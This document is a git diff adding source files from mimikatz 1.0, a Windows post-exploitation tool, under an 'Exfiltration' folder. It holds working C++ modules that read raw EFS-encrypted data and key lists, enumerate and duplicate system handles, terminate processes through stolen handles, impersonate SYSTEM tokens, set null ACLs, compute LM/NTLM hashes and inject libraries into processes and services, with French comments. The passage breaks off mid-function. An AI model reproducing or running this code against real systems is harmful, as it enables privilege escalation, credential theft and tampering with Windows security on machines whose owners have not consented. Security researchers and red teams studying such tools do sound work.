endl; + + PEFS_EXTENDED_HEADER monExtHeader = reinterpret_cast<PEFS_EXTENDED_HEADER>(reinterpret_cast<PBYTE>(monSegEncHead) + FIELD_OFFSET(EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, DataBlockSizes) + (sizeof(DWORD) * monSegEncHead->NumberOfDataBlocks)); + if(monExtHeader->EXTD_Number == 'DTXE') + { + (*outputStream) << L" * Extended Header Flag : " << monExtHeader->Flags << endl; + } + + for(DWORD block = 0; block < monSegEncHead->NumberOfDataBlocks; block++) + { + (*outputStream) << L" -> Block " << block+1 << L" ; taille : " << monSegEncHead->DataBlockSizes[block] << endl; + + PBYTE mesDatas = reinterpret_cast<PBYTE>(StreamData) + monSegEncHead->Length; + (*outputStream) << mod_text::stringOfHex(mesDatas, monSegEncHead->DataBlockSizes[block], 16) << endl; + + if(Fek); + } + } + else + { + (*outputStream) << L"TODO Data" << endl; + } + } + } + } + } + else (*outputStream) << L"Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl; + + free(sba.tableau); + CloseEncryptedFileRaw(pvContext); + } + else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl; + } + return true; +} + +bool mod_mimikatz_efs::toraw(vector<wstring> * arguments) +{ + if(arguments->size() == 2) + { + PVOID pvContext = NULL; + (*outputStream) << L"Ouverture de : " << arguments->front() << endl; + if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS) + { + (*outputStream) << L"Vers : " << arguments->back() << endl; + HANDLE hFile = CreateFile(arguments->back().c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(ReadEncryptedFileRaw(ExportToFileCallback, &hFile, pvContext) == ERROR_SUCCESS) + { + (*outputStream) << L" * Export OK" << endl; + } + else (*outputStream) << L"* Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl; + CloseHandle(hFile); + CloseEncryptedFileRaw(pvContext); + } + else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl; + } + return true; +} + +void mod_mimikatz_efs::printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList) +{ + for(DWORD i = 0; i < hashList->nCert_Hash; i++) + { + wstring user; + mod_secacl::simpleSidToString(hashList->pUsers[i]->pUserSid, &user); + + (*outputStream) << + L" * Nom : " << user << endl << + L" * Nom simple : " << hashList->pUsers[i]->lpDisplayInformation << endl << + L" * Hash du certificat : " << mod_text::stringOfHex(hashList->pUsers[i]->pHash->pbData, hashList->pUsers[i]->pHash->cbData) << endl << + endl; + } +} + +DWORD WINAPI mod_mimikatz_efs::ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength) +{ + if(ulLength) + { + PSIMPLE_BYTE_ARRAY sba = reinterpret_cast<PSIMPLE_BYTE_ARRAY>(pvCallbackContext); + sba->tableau = reinterpret_cast<PBYTE>(realloc(sba->tableau, sba->nbElements + ulLength)); + if(sba->tableau) + { + RtlCopyMemory(sba->tableau + sba->nbElements, pbData, ulLength); + sba->nbElements += ulLength; + } + else + return ERROR_NOT_ENOUGH_MEMORY; + } + return ERROR_SUCCESS; +} + +DWORD WINAPI mod_mimikatz_efs::ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, ULONG ulLength) +{ + if(ulLength) + { + (*outputStream) << L" - Lecture d\'un bloc de : " << ulLength << endl; + DWORD dwBytesWritten = 0; + if(WriteFile(*reinterpret_cast<PHANDLE>(pvCallbackContext), pbData, ulLength, &dwBytesWritten, NULL) && (ulLength == dwBytesWritten)) + return ERROR_SUCCESS; + return GetLastError(); + } + return ERROR_SUCCESS; +} + +bool mod_mimikatz_efs::fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * pFek) +{ + *pFek = NULL; + PEFS_KEY_LIST monHead = reinterpret_cast<PEFS_KEY_LIST>(reinterpret_cast<PBYTE>(header) + KeyList_offset); + + PEFS_KEY_LIST_ENTRY monHeader = reinterpret_cast<PEFS_KEY_LIST_ENTRY>(monHead); + DWORD previousSize = sizeof(PEFS_KEY_LIST); + for(DWORD i = 0; i < monHead->Length; i++) + { + (*outputStream) << endl << L" Champ de données " << (i + 1) << L" :" << endl; + monHeader = reinterpret_cast<PEFS_KEY_LIST_ENTRY>((PBYTE) monHeader + previousSize); + + PEFS_PUBLIC_KEY_INFORMATION monCredHeader = reinterpret_cast<PEFS_PUBLIC_KEY_INFORMATION>(reinterpret_cast<PBYTE>(monHeader) + monHeader->PKI_Offset); + wstring user; + if(monCredHeader->OwnerSID_offset) + mod_secacl::simpleSidToString((reinterpret_cast<PBYTE>(monCredHeader) + monCredHeader->OwnerSID_offset), &user); + else user.assign(L"(null)"); + + (*outputStream) << L" * Utilisateur : " << user << endl; + fullInfosFromEFS_CERTIFICATE_DATA(monCredHeader, monCredHeader->Certificate_offset); + + PBYTE Encrypted_FEK = reinterpret_cast<PBYTE>(monHeader) + monHeader->Enc_FEK_Offset; + (*outputStream) << + L" * Flags : " << monHeader->Flags << endl << + L" * FEK (chiffrée) : " << endl << + L" -> Taille : " << monHeader->Enc_FEK_Length << endl << + L" -> Données : " << endl << mod_text::stringOfHex(Encrypted_FEK, monHeader->Enc_FEK_Length, 16) << endl << + endl; + + /*HCRYPTPROV hCryptKeyProv; + if(CryptAcquireContext(&hCryptKeyProv, L"", MS_STRONG_PROV, PROV_RSA_FULL, NULL )) + { + HCRYPTKEY maCle = NULL; + if(CryptGetUserKey(hCryptKeyProv, AT_KEYEXCHANGE, &maCle)) + { + DWORD taille = monHeader->Enc_FEK_Length; + if (CryptDecrypt(maCle, 0, TRUE, 0, Encrypted_FEK, &taille) ) + { + *pFek = reinterpret_cast<PEFS_FEK>(Encrypted_FEK); + (*outputStream) << + L" * FEK (clair) : " << endl << + L" -> Taille : " << (*pFek)->Key_Lenght << endl << + L" -> Algorithme : " << (*pFek)->Algorithm << endl << + L" -> Entropie : " << (*pFek)->Entropy << endl << + L" -> Données : " << endl << mod_text::stringOfHex((*pFek)->Key, (*pFek)->Key_Lenght, 16) << endl << + endl; + } + else + (*outputStream) << mod_system::getWinError() << endl; + } + CryptReleaseContext(hCryptKeyProv, 0); + }*/ + + previousSize = monHeader->Length; + } + + return (*pFek != NULL); +} + +void mod_mimikatz_efs::fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset) +{ + PEFS_CERTIFICATE_DATA monThCertificate = reinterpret_cast<PEFS_CERTIFICATE_DATA>(reinterpret_cast<PBYTE>(header) + header->Certificate_offset); + + (*outputStream) << L" -> Nom affiché : "; + if(monThCertificate->DisplayName_Offset) + (*outputStream) << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->DisplayName_Offset); + (*outputStream) << endl; + + (*outputStream) << L" -> Provider : "; + if(monThCertificate->ProviderName_Offset) + (*outputStream) << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->ProviderName_Offset); + (*outputStream) << endl; + + (*outputStream) << L" -> Container : "; + if(monThCertificate->ContainerName_Offset) + (*outputStream) << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->ContainerName_Offset); + (*outputStream) << endl; + + (*outputStream) << L" -> Empreinte : " << mod_text::stringOfHex(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->CertificateThumbprint, monThCertificate->CertificateThumbprint_Length) << endl; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h new file mode 100644 index 0000000..0a82140 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h @@ -0,0 +1,133 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <WinEFS.h> +#include <iostream> +#include "mod_text.h" +#include "mod_system.h" +#include "mod_secacl.h" +#include "mod_crypto.h" + +class mod_mimikatz_efs +{ +private: + // http://msdn.microsoft.com/library/cc230447.aspx + typedef struct _EFS_RAW { + DWORD Unknown0; + DWORD ROBS0; + DWORD ROBS1; + BYTE Reserved[8]; + } EFS_RAW, *PEFS_RAW; + + typedef struct _EFS_MARSHALED_STREAM { + DWORD Length; + DWORD NTFS0; + DWORD NTFS1; + DWORD Flag; + BYTE Reserved[8]; + DWORD NameLenght; + wchar_t StreamName[1]; + } EFS_MARSHALED_STREAM, *PEFS_MARSHALED_STREAM; + + typedef struct _EFS_STREAM_DATA_SEGMENT { + DWORD Length; + DWORD GURE0; + DWORD GURE1; + DWORD Reserved; + } EFS_STREAM_DATA_SEGMENT, *PEFS_STREAM_DATA_SEGMENT; + + typedef struct _EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER { + LONG64 StartingFile_Offset; + DWORD Length; + DWORD BytesWithinStreamSize; + DWORD BytesWithinVDL; + USHORT ReservedForAlignement0; + BYTE DataUnitShift; + BYTE ChunkShift; + BYTE ClusterShift; + BYTE ReservedForAlignement1; + USHORT NumberOfDataBlocks; + DWORD DataBlockSizes[1]; + } EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, *PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER; + + typedef struct _EFS_EXTENDED_HEADER { + DWORD EXTD_Number; + DWORD Length; + DWORD Flags; + DWORD Reserved; + } EFS_EXTENDED_HEADER, *PEFS_EXTENDED_HEADER; + + typedef struct _EFS_METADATA_1 { + DWORD Length; + DWORD Reserved1; + DWORD EFS_Version; + DWORD Reserved2; + BYTE EFS_ID[16]; + BYTE EFS_Hash[16]; + BYTE Reserved3[16]; + LONG DDF_Offset; + LONG DRF_Offset; + BYTE Reserved4[12]; + } EFS_METADATA_1, *PEFS_METADATA_1; + + typedef struct _EFS_KEY_LIST { + DWORD Length; + } EFS_KEY_LIST, *PEFS_KEY_LIST; + + typedef struct _EFS_KEY_LIST_ENTRY { + DWORD Length; + LONG PKI_Offset; + DWORD Enc_FEK_Length; + LONG Enc_FEK_Offset; + DWORD Flags; + } EFS_KEY_LIST_ENTRY, *PEFS_KEY_LIST_ENTRY; + + typedef struct _EFS_PUBLIC_KEY_INFORMATION { + DWORD Length; + LONG OwnerSID_offset; + DWORD Type; + DWORD Certificate_Length; + LONG Certificate_offset; + } EFS_PUBLIC_KEY_INFORMATION, *PEFS_PUBLIC_KEY_INFORMATION; + + typedef struct _EFS_CERTIFICATE_DATA { + LONG CertificateThumbprint; + DWORD CertificateThumbprint_Length; + LONG ContainerName_Offset; + LONG ProviderName_Offset;; + LONG DisplayName_Offset; + } EFS_CERTIFICATE_DATA, *PEFS_CERTIFICATE_DATA; + + typedef struct _EFS_FEK { + DWORD Key_Lenght; + DWORD Entropy; + ALG_ID Algorithm; + DWORD Reserverd; + BYTE Key[1]; + } EFSFEK, *PEFS_FEK; + + typedef struct _SIMPLE_BYTE_ARRAY{ + SIZE_T nbElements; + PBYTE tableau; + } SIMPLE_BYTE_ARRAY, *PSIMPLE_BYTE_ARRAY; + + static DWORD WINAPI ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength); + static DWORD WINAPI ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength); + static void printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList); + + static bool fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * Fek); + static void fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset); + +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool infos(vector<wstring> * arguments); + static bool full(vector<wstring> * arguments); + static bool toraw(vector<wstring> * arguments); + static bool fromraw(vector<wstring> * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp new file mode 100644 index 0000000..8e45ee6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp @@ -0,0 +1,301 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_handle.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_handle::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Affiche les handles du systčme (pour le moment juste les processus et tokens)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processStop, L"processStop", L"Essaye de stopper un ou plusieurs processus en utilisant d\'autres handles")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tokenImpersonate, L"tokenImpersonate", L"Essaye d\'impersonaliser un token en utilisant d\'autres handles")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nullAcl, L"nullAcl", L"Positionne une ACL null sur des Handles")); + return monVector; +} + +bool mod_mimikatz_handle::list(vector<wstring> * arguments) +{ + vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>(); + + bool isProcessList = mod_process::getList(mesProcess); + vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>(); + + DWORD id = (!arguments->empty() ? _wtoi(arguments->front().c_str()) : 0); + + if(mod_system::getSystemHandles(mesHandles, arguments->empty() ? NULL : &id)) + { + for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + bool isToken = (_wcsicmp(tokenType.c_str(), L"token") == 0); + bool isProcess = (_wcsicmp(tokenType.c_str(), L"process") == 0); + + if(isToken || isProcess) + { + (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" "; + + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); + if(mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess)) + (*outputStream) << setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right; + delete processHote; + } + + (*outputStream) << L" -> " << setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << tokenType << L'\t'; + + if(isToken) + { + wstring userName, domainName; + if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName)) + (*outputStream) << L'\t' << domainName << L'\\' << userName ; + else (*outputStream) << mod_system::getWinError(); + } + else if(isProcess) + { + DWORD monPid = GetProcessId(nouveauHandle); + (*outputStream) << monPid; + + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32(); + if(mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess)) + (*outputStream) << L'\t' << processKiwi->szExeFile; + delete processKiwi; + } + } + (*outputStream) << endl; + } + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} + +bool mod_mimikatz_handle::processStop(vector<wstring> * arguments) +{ + vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>(); + + bool isProcessList = mod_process::getList(mesProcess); + vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>(); + + if(mod_system::getSystemHandles(mesHandles)) + { + for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + if(_wcsicmp(tokenType.c_str(), L"process") == 0) + { + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); + mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32(); + DWORD monPid = GetProcessId(nouveauHandle); + if( + mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) && + mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess) + ) + { + + for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + if(_wcsicmp(processKiwi->szExeFile.c_str(), monProcessName->c_str()) == 0) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " << + setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " << + setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << + monPid << L'\t' << processKiwi->szExeFile << endl; + ; + + + (*outputStream) << L"\tTerminate Process - "; + if(TerminateProcess(nouveauHandle, ERROR_SUCCESS) != 0) + { + (*outputStream) << L"OK"; + } + else + { + (*outputStream) << L"KO ; " << mod_system::getWinError() << endl << + L"\tJob : "; + + if(HANDLE monObject = CreateJobObject(NULL, NULL)) + { + if(AssignProcessToJobObject(monObject, nouveauHandle)) + { + (*outputStream) << L"TerminateJobObject - "; + if(TerminateJobObject(monObject, ERROR_SUCCESS) != 0) + { + (*outputStream) << L"OK"; + } + else (*outputStream) << L"KO ; " << mod_system::getWinError(); + } + else (*outputStream) << L"AssignProcessToJobObject - KO ; " << mod_system::getWinError(); + CloseHandle(monObject); + } + + } + + (*outputStream) << endl; + } + } + } + delete processKiwi; + delete processHote; + } + } + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} + +bool mod_mimikatz_handle::tokenImpersonate(vector<wstring> * arguments) +{ + PNT_SET_INFORMATION_PROCESS NtSetInformationProcess = reinterpret_cast<PNT_SET_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSetInformationProcess")); + vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>(); + + bool isProcessList = mod_process::getList(mesProcess); + vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>(); + + if(mod_system::getSystemHandles(mesHandles)) + { + for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + if(_wcsicmp(tokenType.c_str(), L"token") == 0) + { + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); + if( + mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) + ) + { + wstring userName, domainName; + if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName)) + { + if(_wcsicmp(userName.c_str(), (arguments->empty() ? L"system" : arguments->front().c_str())) == 0) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " << + setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " << + setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << + domainName << L'\\' << userName << L'\t'; + + if(mod_secacl::exchangeDupToken(&nouveauHandle)) + { + if(ImpersonateLoggedOnUser(nouveauHandle)) + { + (*outputStream) << L"ok !!" << endl; + break; + } + else + { + (*outputStream) << L"ko - ImpersonateLoggedOnUser ; " << mod_system::getWinError() << endl; + } + } + else + { + (*outputStream) << L"ko - mod_secacl::exchangeDupToken ; " << mod_system::getWinError() << endl; + } + + } + } + else (*outputStream) << mod_system::getWinError(); + } + delete processHote; + } + } + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} + +bool mod_mimikatz_handle::nullAcl(vector<wstring> * arguments) +{ + vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>(); + if(mod_system::getSystemHandles(mesHandles)) + { + for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + bool toACL = true;; + if(!arguments->empty()) + toACL = find(arguments->begin(), arguments->end(), tokenType) != arguments->end(); + + if(toACL) + (*outputStream) << monHandle->ProcessId << L'\t' << monHandle->Handle << L'\t' << tokenType << L"\t\t" << (mod_secacl::nullSdToHandle(&nouveauHandle) ? L"NULL !" : L"KO") << endl; + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h new file mode 100644 index 0000000..961991c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h @@ -0,0 +1,23 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_secacl.h" +#include <iostream> +#include <algorithm> + +class mod_mimikatz_handle +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool list(vector<wstring> * arguments); + static bool processStop(vector<wstring> * arguments); + static bool tokenImpersonate(vector<wstring> * arguments); + static bool nullAcl(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp new file mode 100644 index 0000000..302c05e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp @@ -0,0 +1,43 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_hash.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_hash::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(lm, L"lm", L"Hash LanManager (LM) d\'une chaîne de caractčres")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(ntlm, L"ntlm", L"Hash NT LanManger (NTLM) d\'une chaîne de caractčres")); + return monVector; +} + +bool mod_mimikatz_hash::lm(vector<wstring> * arguments) +{ + wstring chaine, hash; + + if(!arguments->empty()) + chaine = arguments->front(); + + if(mod_hash::lm(&chaine, &hash)) + (*outputStream) << L"LM(\'" << chaine << L"\') = " << hash << endl; + else + (*outputStream) << L"Erreur de calcul du hash LM" << endl; + return true; +} + +bool mod_mimikatz_hash::ntlm(vector<wstring> * arguments) +{ + wstring chaine, hash; + + if(!arguments->empty()) + chaine = arguments->front(); + + if(mod_hash::ntlm(&chaine, &hash)) + (*outputStream) << L"NTLM(\'" << chaine << L"\') = " << hash << endl; + else + (*outputStream) << L"Erreur de calcul du hash NTLM" << endl; + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h new file mode 100644 index 0000000..96ac879 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_hash.h" +#include <iostream> + +class mod_mimikatz_hash +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool lm(vector<wstring> * arguments); + static bool ntlm(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp new file mode 100644 index 0000000..012c62a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp @@ -0,0 +1,25 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_impersonate.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_impersonate::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(revert, L"revert", L"RevertToSelf")); + return monVector; +} +bool mod_mimikatz_impersonate::revert(vector<wstring> * arguments) +{ + (*outputStream) << L"RevertToSelf : "; + if(RevertToSelf()) + (*outputStream) << L"ok"; + else + (*outputStream) << L"ko ; " << mod_system::getWinError(); + (*outputStream) << endl; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h new file mode 100644 index 0000000..da62b37 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_thread.h" +#include <iostream> + +class mod_mimikatz_impersonate +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool revert(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp new file mode 100644 index 0000000..74ca84d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp @@ -0,0 +1,120 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_inject.h" +#include "..\global.h" + +mod_pipe * mod_mimikatz_inject::monCommunicator = NULL; + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_inject::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pid, L"pid", L"Injecte une librairire communicante dans un PID")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(process, L"process", L"Injecte une librairire communicante dans un processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(service, L"service", L"Injecte une librairire communicante dans un service")); + return monVector; +} + +bool mod_mimikatz_inject::process(vector<wstring> * arguments) +{ + wstring processName = arguments->front(); + wstring fullLib = arguments->back(); + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + (*outputStream) << L"PROCESSENTRY32(" << processName << 